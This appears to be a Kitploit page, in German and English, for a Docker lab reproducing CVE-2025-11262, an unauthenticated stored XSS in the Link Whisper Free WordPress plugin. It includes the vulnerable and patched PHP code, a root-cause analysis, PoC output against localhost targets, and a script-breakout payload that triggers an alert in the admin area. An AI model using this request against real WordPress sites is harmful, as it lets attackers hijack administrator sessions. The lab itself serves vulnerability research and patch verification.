CVE-2025-11262-Lab — # Docker-Lab zur Reproduktion von CVE-2025-11262, einer nicht authentifizierten gespeicherten Blind-XSS-Schwachstelle im Link Whisper Free WordPress-Plugin. Enthält verwundbare und gepatchte Zielsysteme, PoC-Skript und Root-Cause-Analyse. | Kitploit

Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version

Behauptung	Beleg	So überprüfen Sie es in diesem Labor
Link Whisper Free `0.9.0` ist verwundbar.	Öffentliche Advisories identifizieren Link Whisper Free-Versionen bis einschließlich `0.9.0` als betroffen.	Führen Sie den PoC gegen `http://127.0.0.1:8081` aus und öffnen Sie die ausgegebene Admin-URL.
Link Whisper Free `0.9.1` enthält den Fix.	Öffentliche Advisory- und Changelog-Daten identifizieren `0.9.1` als gepatchte Version.	Führen Sie denselben PoC gegen `http://127.0.0.1:8082` aus; es sollte kein Alert erscheinen.
Das Platzieren der Nutzlast erfolgt ohne Authentifizierung.	Der PoC sendet eine POST-Anfrage ohne WordPress-Cookies, Login oder Nonce.	Prüfen Sie `poc/poc.py`; es benötigt nur `--url`.
Der sichtbare Effekt wird im WordPress-Adminbereich ausgelöst.	Der gespeicherte Wert wird gerendert, wenn die Link-Whisper-KI-Abonnement-Seite von einem privilegierten Benutzer geöffnet wird.	Führen Sie den PoC aus, melden Sie sich dann als Admin an und öffnen Sie die ausgegebene Admin-URL.
Das gepatchte Ziel kann auf HTTP-Ebene weiterhin `"ok"` zurückgeben.	Lokale Tests zeigten, dass beide Ziele `"ok"` zurückgeben können; der bedeutsame Unterschied ist, ob die Nutzlast gespeichert und ausgeführt wird.	Vergleichen Sie das Browserverhalten auf `8081` und `8082`.

Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page

register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

CVE-2025-11262-Lab

Beliebteste

Verifizierte Fakten

Zusammenfassung der Grundursache

Nicht authentifizierter REST-Endpunkt

Verwundbare Eingabebehandlung in 0.9.0

Dauerhafte Speicherung

Admin-JavaScript-Senke

Auslösebedingung

Patch-Verhalten in 0.9.1

Laborbestätigtes Verhalten

Laborarchitektur

Voraussetzungen

Schnellstart

PoC-Verwendung

Erwartete Ausgabe

Screenshot-Nachweis

So funktioniert der PoC

Nützliche Verifikationsbefehle

Behebung und Patch-Hinweise

Bereinigung

Sicherheitsgrenzen

Referenzen

`vuln`	`0.9.0`	Verwundbares Ziel	`http://127.0.0.1:8081`
`patched`	`0.9.1`	Gepatchtes Vergleichsziel	`http://127.0.0.1:8082`